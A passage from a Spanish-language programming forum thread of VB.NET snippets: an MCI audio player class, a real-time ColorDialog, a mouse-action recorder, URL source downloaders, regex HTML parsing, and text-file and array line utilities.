Dim Graphic As Graphics = Graphics.FromImage(Bitmap_Dest)
Graphic.DrawImage(Bitmap_Source, 0, 0, Bitmap_Dest.Width + 1, Bitmap_Dest.Height + 1)
Return Bitmap_Dest
End Function
#End Region
Reproducir, pausar, detener archivos MP3/WAV/MIDI
' PlayFile
'
' Examples:
' Dim Audio As New PlayFile("C:\File.mp3")
' Audio.Play()
' Audio.Pause()
' Audio.Resume()
' Audio.Stop()
#Region " PlayFile Class"
''' <summary>
''' This class is a wrapper for the Windows API calls to play wave, midi or mp3 files.
''' </summary>
''' <remarks>
''' </remarks>
Public Class PlayFile
'***********************************************************************************************************
' Class: PlayFile
' Written By: Blake Pell (bpell@indiana.edu)
' Initial Date: 03/31/2007
' Last Updated: 02/04/2009
'***********************************************************************************************************
' Windows API Declarations
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Int32, ByVal hwndCallback As Int32) As Int32
''' <summary>
''' Constructor: Location is the filename of the media to play. Wave files and Mp3 files are the supported formats.
''' </summary>
''' <param name="Location"></param>
''' <remarks></remarks>
Public Sub New(ByVal location As String)
Me.Filename = location
End Sub
''' <summary>
''' Plays the file that is specified as the filename.
''' </summary>
''' <remarks></remarks>
Public Sub Play()
If _filename = "" Or Filename.Length <= 4 Then Exit Sub
Select Case Right(Filename, 3).ToLower
Case "mp3"
mciSendString("open """ & _filename & """ type mpegvideo alias audiofile", Nothing, 0, IntPtr.Zero)
Dim playCommand As String = "play audiofile from 0"
If _wait = True Then playCommand += " wait"
mciSendString(playCommand, Nothing, 0, IntPtr.Zero)
Case "wav"
mciSendString("open """ & _filename & """ type waveaudio alias audiofile", Nothing, 0, IntPtr.Zero)
mciSendString("play audiofile from 0", Nothing, 0, IntPtr.Zero)
Case "mid", "idi"
mciSendString("stop midi", "", 0, 0)
mciSendString("close midi", "", 0, 0)
mciSendString("open sequencer!" & _filename & " alias midi", "", 0, 0)
mciSendString("play midi", "", 0, 0)
Case Else
Throw New Exception("File type not supported.")
Call Close()
End Select
IsPaused = False
End Sub
''' <summary>
''' Pause the current play back.
''' </summary>
''' <remarks></remarks>
Public Sub Pause()
mciSendString("pause audiofile", Nothing, 0, IntPtr.Zero)
IsPaused = True
End Sub
''' <summary>
''' Resume the current play back if it is currently paused.
''' </summary>
''' <remarks></remarks>
Public Sub [Resume]()
mciSendString("resume audiofile", Nothing, 0, IntPtr.Zero)
IsPaused = False
End Sub
''' <summary>
''' Stop the current file if it's playing.
''' </summary>
''' <remarks></remarks>
Public Sub [Stop]()
mciSendString("stop audiofile", Nothing, 0, IntPtr.Zero)
End Sub
''' <summary>
''' Close the file.
''' </summary>
''' <remarks></remarks>
Public Sub Close()
mciSendString("close audiofile", Nothing, 0, IntPtr.Zero)
End Sub
Private _wait As Boolean = False
''' <summary>
''' Halt the program until the .wav file is done playing. Be careful, this will lock the entire program up until the
''' file is done playing. It behaves as if the Windows Sleep API is called while the file is playing (and maybe it is, I don't
''' actually know, I'm just theorizing). :P
''' </summary>
''' <value></value>
''' <returns></returns>
''' <remarks></remarks>
Public Property Wait() As Boolean
Get
Return _wait
End Get
Set(ByVal value As Boolean)
_wait = value
End Set
End Property
''' <summary>
''' Sets the audio file's time format via the mciSendString API.
''' </summary>
''' <value></value>
''' <returns></returns>
''' <remarks></remarks>
ReadOnly Property Milleseconds() As Integer
Get
Dim buf As String = Space(255)
mciSendString("set audiofile time format milliseconds", Nothing, 0, IntPtr.Zero)
mciSendString("status audiofile length", buf, 255, IntPtr.Zero)
buf = Replace(buf, Chr(0), "") ' Get rid of the nulls, they muck things up
If buf = "" Then
Return 0
Else
Return CInt(buf)
End If
End Get
End Property
''' <summary>
''' Gets the status of the current playback file via the mciSendString API.
''' </summary>
''' <value></value>
''' <returns></returns>
''' <remarks></remarks>
ReadOnly Property Status() As String
Get
Dim buf As String = Space(255)
mciSendString("status audiofile mode", buf, 255, IntPtr.Zero)
buf = Replace(buf, Chr(0), "") ' Get rid of the nulls, they muck things up
Return buf
End Get
End Property
''' <summary>
''' Gets the file size of the current audio file.
''' </summary>
''' <value></value>
''' <returns></returns>
''' <remarks></remarks>
ReadOnly Property FileSize() As Integer
Get
Try
Return My.Computer.FileSystem.GetFileInfo(_filename).Length
Catch ex As Exception
Return 0
End Try
End Get
End Property
''' <summary>
''' Gets the channels of the file via the mciSendString API.
''' </summary>
''' <value></value>
''' <returns></returns>
''' <remarks></remarks>
ReadOnly Property Channels() As Integer
Get
Dim buf As String = Space(255)
mciSendString("status audiofile channels", buf, 255, IntPtr.Zero)
If IsNumeric(buf) = True Then
Return CInt(buf)
Else
Return -1
End If
End Get
End Property
''' <summary>
''' Used for debugging purposes.
''' </summary>
''' <value></value>
''' <returns></returns>
''' <remarks></remarks>
ReadOnly Property Debug() As String
Get
Dim buf As String = Space(255)
mciSendString("status audiofile channels", buf, 255, IntPtr.Zero)
Return Str(buf)
End Get
End Property
Private _isPaused As Boolean = False
''' <summary>
''' Whether or not the current playback is paused.
''' </summary>
''' <value></value>
''' <returns></returns>
''' <remarks></remarks>
Public Property IsPaused() As Boolean
Get
Return _isPaused
End Get
Set(ByVal value As Boolean)
_isPaused = value
End Set
End Property
Private _filename As String
''' <summary>
''' The current filename of the file that is to be played back.
''' </summary>
''' <value></value>
''' <returns></returns>
''' <remarks></remarks>
Public Property Filename() As String
Get
Return _filename
End Get
Set(ByVal value As String)
If My.Computer.FileSystem.FileExists(value) = False Then
Throw New System.IO.FileNotFoundException
Exit Property
End If
_filename = value
End Set
End Property
End Class
#End Region
Ejemplos de uso del Windows Media Player control:
#Region " Windows Media Player "
AxWindowsMediaPlayer1.Visible = False
AxWindowsMediaPlayer1.URL = "C:\Audio.mp3"
AxWindowsMediaPlayer1.URL = "C:\Video.avi"
AxWindowsMediaPlayer1.settings.volume = 50
AxWindowsMediaPlayer1.settings.setMode("autoRewind", False) ' Mode indicating whether the tracks are rewound to the beginning after playing to the end. Default state is true.
AxWindowsMediaPlayer1.settings.setMode("loop", False) ' Mode indicating whether the sequence of tracks repeats itself. Default state is false.
AxWindowsMediaPlayer1.settings.setMode("showFrame", False) ' Mode indicating whether the nearest video key frame is displayed at the current position when not playing. Default state is false. Has no effect on audio tracks.
AxWindowsMediaPlayer1.settings.setMode("shuffle", False) ' Mode indicating whether the tracks are played in random order. Default state is false.
AxWindowsMediaPlayer1.Ctlcontrols.play()
AxWindowsMediaPlayer1.Ctlcontrols.stop()
#End Region
Un ColorDialog "por defecto" que tiene las propiedades "Title" y "Location",
Además se puede handlear el color que hay seleccionado en cualquier momento en el modo "Full open", para obtener el color sin tener que confirmar el diálogo.
PD: Hay que instanciarlo siempre para handlear el .Currentcolor
Ejemplos de uso:
Public Class Form1
Private WithEvents PicBox As New PictureBox
Private WithEvents ColorDlg As ColorDialog_RealTime.Colordialog_Realtime = Nothing
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
PicBox.BackColor = Color.Blue
Me.Controls.Add(PicBox)
End Sub
Private Sub PicBox_Click(sender As Object, e As EventArgs) Handles PicBox.Click
ColorDlg = New ColorDialog_RealTime.Colordialog_Realtime
ColorDlg.Title = "Hello!"
ColorDlg.Location = New Point(Me.Right, Me.Top)
ColorDlg.Color = sender.backcolor
If ColorDlg.ShowDialog() = Windows.Forms.DialogResult.OK Then
sender.BackColor = ColorDlg.Color
End If
ColorDlg = Nothing
End Sub
Private Sub ColorDlg_CurrentColor(c As System.Drawing.Color) Handles ColorDlg.CurrentColor
PicBox.BackColor = c
End Sub
End Class
Public Class Colordialog_Realtime
Inherits ColorDialog
Public Event CurrentColor(ByVal c As Color)
Private Const GA_ROOT As Integer = 2
Private Const WM_PAINT As Integer = &HF
Private Const WM_CTLCOLOREDIT As Integer = &H133
Public Declare Function GetAncestor Lib "user32.dll" _
(ByVal hWnd As IntPtr, ByVal gaFlags As Integer) As IntPtr
Private EditWindows As List(Of ApiWindow) = Nothing
Public Sub New()
Me.FullOpen = True
End Sub
<Runtime.InteropServices.DllImport("user32.dll")> _
Private Shared Function SetWindowText(hWnd As IntPtr, lpString As String) As Boolean
End Function
Private Const SWP_NOSIZE As Integer = &H1
Private Declare Function SetWindowPos Lib "user32" Alias "SetWindowPos" _
(ByVal hwnd As IntPtr, ByVal hWndInsertAfter As Integer, ByVal x As Integer, ByVal y As Integer, ByVal cx As Integer, ByVal cy As Integer, ByVal wFlags As Integer) As Integer
Private m_title As String = String.Empty
Private titleSet As Boolean = False
Public Property Title() As String
Get
Return m_title
End Get
Set(value As String)
If value IsNot Nothing AndAlso value <> m_title Then
m_title = value
titleSet = False
End If
End Set
End Property
Private m_location As Point = Point.Empty
Private locationSet As Boolean = False
Public Property Location() As Point
Get
Return m_location
End Get
Set(value As Point)
If Not value.Equals(Point.Empty) AndAlso Not value.Equals(m_location) Then
m_location = value
locationSet = False
End If
End Set
End Property
<System.Security.Permissions.PermissionSetAttribute(System.Security.Permissions.SecurityAction.Demand, Name:="FullTrust")> _
Protected Overrides Function HookProc(ByVal hWnd As IntPtr, ByVal msg As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
Select Case msg
Case WM_PAINT
If Not titleSet AndAlso Title <> String.Empty Then
SetWindowText(GetAncestor(hWnd, GA_ROOT), Title)
titleSet = True
End If
If Not locationSet AndAlso Not m_location.Equals(Point.Empty) Then
SetWindowPos(GetAncestor(hWnd, GA_ROOT), 0, m_location.X, m_location.Y, 0, 0, SWP_NOSIZE)
locationSet = True
End If
Case WM_CTLCOLOREDIT
If IsNothing(EditWindows) Then
Dim mainWindow As IntPtr = GetAncestor(hWnd, GA_ROOT)
If Not mainWindow.Equals(IntPtr.Zero) Then
EditWindows = New List(Of ApiWindow)((New WindowsEnumerator).GetChildWindows(mainWindow, "Edit"))
End If
End If
If Not IsNothing(EditWindows) AndAlso EditWindows.Count = 6 Then
Dim strRed As String = WindowsEnumerator.WindowText(EditWindows(3).hWnd)
Dim strGreen As String = WindowsEnumerator.WindowText(EditWindows(4).hWnd)
Dim strBlue As String = WindowsEnumerator.WindowText(EditWindows(5).hWnd)
Dim Red, Green, Blue As Integer
If Integer.TryParse(strRed, Red) Then
If Integer.TryParse(strGreen, Green) Then
If Integer.TryParse(strBlue, Blue) Then
RaiseEvent CurrentColor(Color.FromArgb(Red, Green, Blue))
End If
End If
End If
End If
End Select
Return MyBase.HookProc(hWnd, msg, wParam, lParam)
End Function
End Class
Class ApiWindow
Public hWnd As IntPtr
Public ClassName As String
Public MainWindowTitle As String
End Class
Class WindowsEnumerator
Private Delegate Function EnumCallBackDelegate(ByVal hwnd As IntPtr, ByVal lParam As Integer) As Integer
Private Declare Function EnumWindows Lib "user32" _
(ByVal lpEnumFunc As EnumCallBackDelegate, ByVal lParam As Integer) As Integer
Private Declare Function EnumChildWindows Lib "user32" _
(ByVal hWndParent As IntPtr, ByVal lpEnumFunc As EnumCallBackDelegate, ByVal lParam As Integer) As Integer
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" _
(ByVal hwnd As IntPtr, ByVal lpClassName As System.Text.StringBuilder, ByVal nMaxCount As Integer) As Integer
Private Declare Function IsWindowVisible Lib "user32" (ByVal hwnd As IntPtr) As Integer
Private Declare Function GetParent Lib "user32" (ByVal hwnd As IntPtr) As Integer
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
(ByVal hwnd As IntPtr, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
(ByVal hwnd As IntPtr, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As System.Text.StringBuilder) As Integer
Private _listChildren As New List(Of ApiWindow)
Private _listTopLevel As New List(Of ApiWindow)
Private _topLevelClass As String = String.Empty
Private _childClass As String = String.Empty
Public Overloads Function GetTopLevelWindows() As ApiWindow()
EnumWindows(AddressOf EnumWindowProc, &H0)
Return _listTopLevel.ToArray
End Function
Public Overloads Function GetTopLevelWindows(ByVal className As String) As ApiWindow()
_topLevelClass = className
Return Me.GetTopLevelWindows()
End Function
Public Overloads Function GetChildWindows(ByVal hwnd As Int32) As ApiWindow()
_listChildren.Clear()
EnumChildWindows(hwnd, AddressOf EnumChildWindowProc, &H0)
Return _listChildren.ToArray
End Function
Public Overloads Function GetChildWindows(ByVal hwnd As Int32, ByVal childClass As String) As ApiWindow()
_childClass = childClass
Return Me.GetChildWindows(hwnd)
End Function
Private Function EnumWindowProc(ByVal hwnd As Int32, ByVal lParam As Int32) As Int32
If GetParent(hwnd) = 0 AndAlso IsWindowVisible(hwnd) Then
Dim window As ApiWindow = GetWindowIdentification(hwnd)
If _topLevelClass.Length = 0 OrElse window.ClassName.ToLower() = _topLevelClass.ToLower() Then
_listTopLevel.Add(window)
End If
End If
Return 1
End Function
Private Function EnumChildWindowProc(ByVal hwnd As Int32, ByVal lParam As Int32) As Int32
Dim window As ApiWindow = GetWindowIdentification(hwnd)
If _childClass.Length = 0 OrElse window.ClassName.ToLower() = _childClass.ToLower() Then
_listChildren.Add(window)
End If
Return 1
End Function
Private Function GetWindowIdentification(ByVal hwnd As Integer) As ApiWindow
Dim classBuilder As New System.Text.StringBuilder(64)
GetClassName(hwnd, classBuilder, 64)
Dim window As New ApiWindow
window.ClassName = classBuilder.ToString()
window.MainWindowTitle = WindowText(hwnd)
window.hWnd = hwnd
Return window
End Function
Public Shared Function WindowText(ByVal hwnd As IntPtr) As String
Const W_GETTEXT As Integer = &HD
Const W_GETTEXTLENGTH As Integer = &HE
Dim SB As New System.Text.StringBuilder
Dim length As Integer = SendMessage(hwnd, W_GETTEXTLENGTH, 0, 0)
If length > 0 Then
SB = New System.Text.StringBuilder(length + 1)
SendMessage(hwnd, W_GETTEXT, SB.Capacity, SB)
End If
Return SB.ToString
End Function
End Class
Una class para grabar tareas del mouse (mover el mouse aquí, clickar botón izquierdo hallá, etc)
De momento solo he conseguido implementar los botones del mouse izquierdo/derecho.
Saludos.
#Region " Record Mouse Class "
' [ Record Mouse Functions ]
'
' // By Elektro H@cker
'
' Examples :
' Record_Mouse.Start_Record()
' Record_Mouse.Stop_Record()
' Record_Mouse.Play() : While Not Record_Mouse.Play_Is_Completed : Application.DoEvents() : End While
' Record_Mouse.Mouse_Speed = 50
Public Class Record_Mouse
''' <summary>
''' Sets the speed of recording/playing the mouse actions.
''' Default value is 25.
''' </summary>
Public Shared Mouse_Speed As Int64 = 30
''' <summary>
''' Gets the status pf the current mouse play.
''' False = Mouse task is still playing.
''' True = Mouse task play is done.
''' </summary>
Public Shared Play_Is_Completed As Boolean
' Where the mouse coordenates will be stored:
Private Shared Coordenates_List As New List(Of Point)
' Where the mouse clicks will be stored:
Private Shared Clicks_Dictionary As New Dictionary(Of Int64, MouseButton)
' Timer to record the mouse:
Private Shared WithEvents Record_Timer As New Timer
' Button click count to rec/play clicks:
Private Shared Click_Count As Int32 = 0
' Thread to reproduce the mouse actions:
Private Shared Thread_MousePlay_Var As System.Threading.Thread = New Threading.Thread(AddressOf Thread_MousePlay)
' API to record the current mouse button state:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
' API to reproduce a mouse button click:
Private Declare Sub Mouse_Event Lib "User32" Alias "mouse_event" (ByVal dwFlags As MouseButton, ByVal dx As Integer, ByVal dy As Integer, ByVal dwData As Integer, ByVal dwExtraInfo As Integer)
' GetAsyncKeyState buttons status
Private Shared Last_ClickState_Left As Int64 = -1
Private Shared Last_ClickState_Right As Int64 = -1
Private Shared Last_ClickState_Middle As Int64 = -1
Enum MouseButton
Left_Down = &H2 ' Left button (hold)
Left_Up = &H4 ' Left button (release)
Right_Down = &H8 ' Right button (hold)
Right_Up = &H10 ' Right button (release)
Middle_Down = &H20 ' Middle button (hold)
Middle_Up = &H40 ' Middle button (release)
Left ' Left button (press)
Right ' Right button (press)
Middle ' Middle button (press)
End Enum
''' <summary>
''' Starts recording the mouse actions over the screen.
''' It records the position of the mouse and left/right button clicks.
''' </summary>
Public Shared Sub Start_Record()
' Reset vars:
Play_Is_Completed = False
Coordenates_List.Clear() : Clicks_Dictionary.Clear()
Last_ClickState_Left = -1 : Last_ClickState_Right = -1 : Last_ClickState_Middle = -1
Click_Count = 0
' Set Mouse Speed
Record_Timer.Interval = Mouse_Speed
' Start Recording:
Record_Timer.Start()
End Sub
''' <summary>
''' Stop recording the mouse actions.
''' </summary>
Public Shared Sub Stop_Record()
Record_Timer.Stop()
End Sub
''' <summary>
''' Reproduce the mouse actions.
''' </summary>
Public Shared Sub Play()
Thread_MousePlay_Var = New Threading.Thread(AddressOf Thread_MousePlay)
Thread_MousePlay_Var.IsBackground = True
Thread_MousePlay_Var.Start()
End Sub
' Procedure used to store the mouse actions
Private Shared Sub Record_Timer_Tick(sender As Object, e As EventArgs) Handles Record_Timer.Tick
Coordenates_List.Add(Control.MousePosition)
' Record Left click
If Not Last_ClickState_Left = GetAsyncKeyState(1) Then
Last_ClickState_Left = GetAsyncKeyState(1)
If GetAsyncKeyState(1) = 32768 Then
Click_Count += 1
Coordenates_List.Add(Nothing)
Clicks_Dictionary.Add(Click_Count, MouseButton.Left_Down)
ElseIf GetAsyncKeyState(1) = 0 Then
Click_Count += 1
Coordenates_List.Add(Nothing)
Clicks_Dictionary.Add(Click_Count, MouseButton.Left_Up)
End If
End If
' Record Right click
If Not Last_ClickState_Right = GetAsyncKeyState(2) Then
Last_ClickState_Right = GetAsyncKeyState(2)
If GetAsyncKeyState(2) = 32768 Then
Click_Count += 1
Coordenates_List.Add(Nothing)
Clicks_Dictionary.Add(Click_Count, MouseButton.Right_Down)
ElseIf GetAsyncKeyState(2) = 0 Then
Click_Count += 1
Coordenates_List.Add(Nothing)
Clicks_Dictionary.Add(Click_Count, MouseButton.Right_Up)
End If
End If
' Record Middle click
If Not Last_ClickState_Middle = GetAsyncKeyState(4) Then
Last_ClickState_Middle = GetAsyncKeyState(4)
If GetAsyncKeyState(4) = 32768 Then
Click_Count += 1
Coordenates_List.Add(Nothing)
Clicks_Dictionary.Add(Click_Count, MouseButton.Middle_Down)
ElseIf GetAsyncKeyState(4) = 0 Then
Click_Count += 1
Coordenates_List.Add(Nothing)
Clicks_Dictionary.Add(Click_Count, MouseButton.Middle_Up)
End If
End If
End Sub
' Procedure to play a mouse button (click)
Private Shared Sub Mouse_Click(ByVal MouseButton As MouseButton)
Select Case MouseButton
Case MouseButton.Left : Mouse_Event(MouseButton.Left_Down, 0, 0, 0, 0) : Mouse_Event(MouseButton.Left_Up, 0, 0, 0, 0)
Case MouseButton.Right : Mouse_Event(MouseButton.Right_Down, 0, 0, 0, 0) : Mouse_Event(MouseButton.Right_Up, 0, 0, 0, 0)
Case MouseButton.Middle : Mouse_Event(MouseButton.Middle_Down, 0, 0, 0, 0) : Mouse_Event(MouseButton.Middle_Up, 0, 0, 0, 0)
Case Else : Mouse_Event(MouseButton, 0, 0, 0, 0)
End Select
End Sub
' Thread used for reproduce the mouse actions
Private Shared Sub Thread_MousePlay()
Click_Count = 0
Clicks_Dictionary.Item(0) = Nothing
For Each Coordenate In Coordenates_List
Threading.Thread.Sleep(Mouse_Speed)
If Coordenate = Nothing Then
Click_Count += 1
If Click_Count > 1 Then
Mouse_Click(Clicks_Dictionary.Item(Click_Count))
End If
Else
Cursor.Position = Coordenate
End If
Next
Mouse_Click(MouseButton.Left_Up)
Mouse_Click(MouseButton.Right_Up)
Mouse_Click(MouseButton.Middle_Up)
Play_Is_Completed = True
End Sub
End Class
#End Region
Sección de ayuda para aplicaciones CommandLine.
(http://img13.imageshack.us/img13/6986/captura1o.png)
#Region " Help Section "
Private Sub Help()
Dim Logo As String = <a><![CDATA[
.____
| | ____ ____ ____
| | / _ \ / ___\ / _ \
| |__( <_> ) /_/ > <_> )
|_______ \____/\___ / \____/
\/ /_____/ By Elektro H@cker
]]></a>.Value
Dim Help As String = <a><![CDATA[
[+] Syntax:
Program.exe [FILE] [SWITCHES]
[+] Switches:
/Switch1 | Description. (Default Value: X)
/Switch2 | Description.
/? (or) -? | Show this help.
[+] Switch value Syntax:
/Switch1 (ms)
/Switch2 (X,Y)
[+] Usage examples:
Program.exe "C:\File.txt" /Switch1
(Short explanation)
]]></a>.Value
Console.WriteLine(Logo & Help)
Application.Exit()
End Sub
#End Region
Descarga el código fuente de una URL al disco duro
#Region " Download URL SourceCode "
' [ Download URL SourceCode ]
'
' Examples :
' Download_URL_SourceCode("http://www.elhacker.net", "C:\Source.html")
Private Sub Download_URL_SourceCode(ByVal url As String, ByVal OutputFile As String)
Try
Using TextFile As New IO.StreamWriter(OutputFile, False, System.Text.Encoding.Default)
TextFile.WriteLine(New System.IO.StreamReader(System.Net.HttpWebRequest.Create(url).GetResponse().GetResponseStream()).ReadToEnd())
End Using
Catch ex As Exception
MsgBox(ex.Message)
End Try
End Sub
#End Region
Devuelve el código fuente de una URL
#Region " Get URL SourceCode "
' [ Get URL SourceCode Function ]
'
' Examples :
' MsgBox(Get_URL_SourceCode("http://www.google.com"))
' Clipboard.SetText(Get_URL_SourceCode("http://www.google.com"))
Private Function Get_URL_SourceCode(ByVal url As String, Optional ByVal OutputFile As String = Nothing) As String
Try
Return New System.IO.StreamReader(System.Net.HttpWebRequest.Create(url).GetResponse().GetResponseStream()).ReadToEnd()
Catch ex As Exception
MsgBox(ex.Message)
Return Nothing
End Try
End Function
#End Region
Parsear un HTML usando RegEx
Private Sub Parse_HTML(ByVal TextFile As String)
' RegEx
Dim RegEx_Url As New System.Text.RegularExpressions.Regex("http://www.mp3crank.com.*\.html?")
Dim RegEx_Year As New System.Text.RegularExpressions.Regex("[1-2][0-9][0-9][0-9]")
Dim Line As String = Nothing
Dim Text As New IO.StringReader(My.Computer.FileSystem.ReadAllText(TextFile))
Do
Line = Text.ReadLine()
If Line Is Nothing Then
Exit Do ' End of file
Else
' Strip Year
'
' Example:
' <span class="year">2009</span>
'
If Line.Contains(<a><![CDATA[<span class="year">]]></a>.Value) Then
MsgBox(RegEx_Year.Match(Line).Groups(0).ToString)
End If
' Strip URL
'
' Example:
' <div class="album"><h2><a href="http://www.mp3crank.com/echo-movement/in-the-ocean.htm"</a></h2></div>
'
If Line.Contains(<a><![CDATA[<div class="album">]]></a>.Value) Then
MsgBox(RegEx_Url.Match(Line).Groups(0).ToString)
End If
End If
Loop
Text.Close() : Text.Dispose()
End Sub
Elimina un Item de un Array
#Region " Remove Item From Array "
' [ Remove Item From Array ]
'
' Examples :
' Dim MyArray() As String = {"Elektro", "H@cker", "Christian"}
' Remove_Item_From_Array(MyArray, 0) ' Remove first element => {"H@cker", "Christian"}
' Remove_Item_From_Array(MyArray, UBound(MyArray)) ' Remove last element => {"Elektro", "H@cker"}
Public Sub Remove_Item_From_Array(Of T)(ByRef Array_Name() As T, ByVal Index As Integer)
Array.Copy(Array_Name, Index + 1, Array_Name, Index, UBound(Array_Name) - Index)
ReDim Preserve Array_Name(UBound(Array_Name) - 1)
End Sub
#End Region
Concatena un array, con opción de enumerarlo...
#Region " Join Array "
' [ Join Array Function ]
'
' // By Elektro H@cker
'
' Examples :
' Dim MyArray() As String = {"Hola", "que", "ase?"}
' MsgBox(Join_Array(MyArray, vbNewLine))
' MsgBox(Join_Array(MyArray, vbNewLine, True))
Private Function Join_Array(ByRef Array_Name As Array, ByVal Separator As String, _
Optional ByVal Enumerate As Boolean = False) As String
Try
If Enumerate Then
Dim Index As Int64 = 0
Dim Joined_str As String = String.Empty
For Each Item In Array_Name
Joined_str += Index & ". " & Item & Separator
Index += 1
Next
Return Joined_str
Else
Return String.Join(Separator, Array_Name)
End If
Catch ex As Exception
MsgBox(ex.Message)
Return Nothing
End Try
End Function
#End Region
Revierte el contenido de un texto
#Region " Reverse TextFile "
' [ Reverse TextFile ]
'
' // By Elektro H@cker
'
' Examples :
' Reverse_TextFile("C:\File.txt")
Private Sub Reverse_TextFile(ByVal File As String)
Try
Dim strArray() As String = IO.File.ReadAllLines(File)
Array.Reverse(strArray)
Using WriteFile As New IO.StreamWriter(File, False, System.Text.Encoding.Default)
WriteFile.WriteLine(String.Join(vbNewLine, strArray))
End Using
Catch ex As Exception
MsgBox(ex.Message)
End Try
End Sub
#End Region
Elimina una línea de un texto
#Region " Delete Line From TextFile "
' [ Delete Line From TextFile Function ]
'
' // By Elektro H@cker
'
' Examples :
' Delete_Line_From_TextFile("C:\File.txt", 3)
' Delete_Line_From_TextFile("C:\File.txt", 3, True)
Private Sub Delete_Line_From_TextFile(ByVal File As String, ByVal Line_Number As Int64, _
Optional ByVal Make_Empty_Line As Boolean = False)
Dim Line_Length As Int64 = 0
Line_Number -= 1
Try
Line_Length = IO.File.ReadAllLines(File).Length
Catch ex As Exception
MsgBox(ex.Message)
Exit Sub
End Try
Select Case Line_Number
Case Is <= (0 Or 1), Is > Line_Length
MsgBox("Want to cut first " & (Line_Number - 1) & " lines" & vbNewLine & _
"But """ & File & """ have " & Line_Length & " lines.")
Exit Sub
Case Else
Dim strArray() As String = IO.File.ReadAllLines(File)
If Make_Empty_Line Then
Array.Copy(strArray, Line_Number + 1, strArray, Line_Number, UBound(strArray) - Line_Number)
ReDim Preserve strArray(UBound(strArray) - 1)
End If
MsgBox(String.Join(vbNewLine, strArray))
Using WriteFile As New IO.StreamWriter(File, False, System.Text.Encoding.Default)
WriteFile.WriteLine(String.Join(vbNewLine, strArray))
End Using
End Select
End Sub
#End Region
Elimina las primeras X líneas de un archivo de texto
#Region " Cut First Lines From TextFile "
' [ Cut First Lines From TextFile Function ]
'
' // By Elektro H@cker
'
' Examples :
' Cut_First_Lines_From_TextFile("C:\File.txt", 3)
Private Sub Cut_First_Lines_From_TextFile(ByVal File As String, ByVal Lines As Int64)
Dim Line_Length As Int64 = 0
Lines += 1
Try
Line_Length = IO.File.ReadAllLines(File).Length
Catch ex As Exception
MsgBox(ex.Message)
Exit Sub
End Try
Select Case Lines
Case Is <= (0 Or 1), Is > Line_Length
MsgBox("Want to cut first " & (Lines - 1) & " lines" & vbNewLine & _
"But """ & File & """ have " & Line_Length & " lines.")
Exit Sub
Case Else
Dim strArray() As String = IO.File.ReadAllLines(File)
Array.Reverse(strArray)
ReDim Preserve strArray(strArray.Length - (Lines))
Array.Reverse(strArray)
Using WriteFile As New IO.StreamWriter(File, False, System.Text.Encoding.Default)
WriteFile.WriteLine(String.Join(vbNewLine, strArray))
End Using
End Select
End Sub
#End Region
Elimina las últimas X líneas de un archivo de texto
#Region " Cut Last Lines From TextFile "
' [ Cut Last Lines From TextFile Function ]
'
' // By Elektro H@cker
'
' Examples :
' Cut_Last_Lines_From_TextFile("C:\File.txt", 3)
Private Sub Cut_Last_Lines_From_TextFile(ByVal File As String, ByVal Lines As Int64)
Dim Line_Length As Int64 = 0
Lines += 1
Try
Line_Length = IO.File.ReadAllLines(File).Length
Catch ex As Exception
MsgBox(ex.Message)
Exit Sub
End Try
Select Case Lines
Case Is <= (0 Or 1), Is > Line_Length
MsgBox("Want to cut last " & (Lines - 1) & " lines" & vbNewLine & _
"But """ & File & """ have " & Line_Length & " lines.")
Exit Sub
Case Else
Dim strArray() As String = IO.File.ReadAllLines(File)
ReDim Preserve strArray(strArray.Length - (Lines))
Using WriteFile As New IO.StreamWriter(File, False, System.Text.Encoding.Default)
WriteFile.WriteLine(String.Join(vbNewLine, strArray))
End Using
End Select
End Sub
#End Region
Guarda las primmeras X líneas y elimina el resto de líneas de un archivo de texto.
#Region " Keep First Lines From TextFile "
' [ Keep First Lines From TextFile Function ]
'
' // By Elektro H@cker
'
' Examples :
' Keep_First_Lines_From_TextFile("C:\File.txt", 3)
Private Sub Keep_First_Lines_From_TextFile(ByVal File As String, ByVal Lines As Int64)
Dim Line_Length As Int64 = 0
Lines -= 1
Try
Line_Length = IO.File.ReadAllLines(File).Length
Catch ex As Exception
MsgBox(ex.Message)
Exit Sub
End Try
Select Case Lines
Case Is < 0, Is >= Line_Length
MsgBox("Want to keep first " & (Lines + 1) & " lines" & vbNewLine & _
"But """ & File & """ have " & Line_Length & " lines.")
Exit Sub
Case Else
Dim strArray() As String = IO.File.ReadAllLines(File)
ReDim Preserve strArray(Lines)
Using WriteFile As New IO.StreamWriter(File, False, System.Text.Encoding.Default)
WriteFile.WriteLine(String.Join(vbNewLine, strArray))
End Using
End Select
End Sub
#End Region
Guarda las últimas X líneas y elimina el resto de líneas de un archivo de texto.
#Region " Keep Last Lines From TextFile "
' [ Keep Last Lines From TextFile Function ]
'
' // By Elektro H@cker
'
' Examples :
' Keep_Last_Lines_From_TextFile("C:\File.txt", 3)
Private Sub Keep_Last_Lines_From_TextFile(ByVal File As String, ByVal Lines As Int64)
Dim Line_Length As Int64 = 0
Lines -= 1
Try
Line_Length = IO.File.ReadAllLines(File).Length
Catch ex As Exception
MsgBox(ex.Message)
Exit Sub
End Try
Select Case Lines
Case Is < 0, Is >= Line_Length
MsgBox("Want to keep last " & (Lines + 1) & " lines" & vbNewLine & _
"But """ & File & """ have " & Line_Length & " lines.")
Exit Sub
Case Else
Dim strArray() As String = IO.File.ReadAllLines(File)
Array.Reverse(strArray)
ReDim Preserve strArray(Lines)
Array.Reverse(strArray)
Using WriteFile As New IO.StreamWriter(File, False, System.Text.Encoding.Default)
WriteFile.WriteLine(String.Join(vbNewLine, strArray))
End Using
End Select
End Sub
#End Region
Devuelve el el total de líneas de un archivo de texto, con opción de incluir líneas en blanco
#Region " Get TextFile Total Lines "
' [ Get TextFile Total Lines Function ]
'
' Examples :
'
' MsgBox(Get_TextFile_Total_Lines("C:\File.txt"))
' MsgBox(Get_TextFile_Total_Lines("C:\File.txt", False))
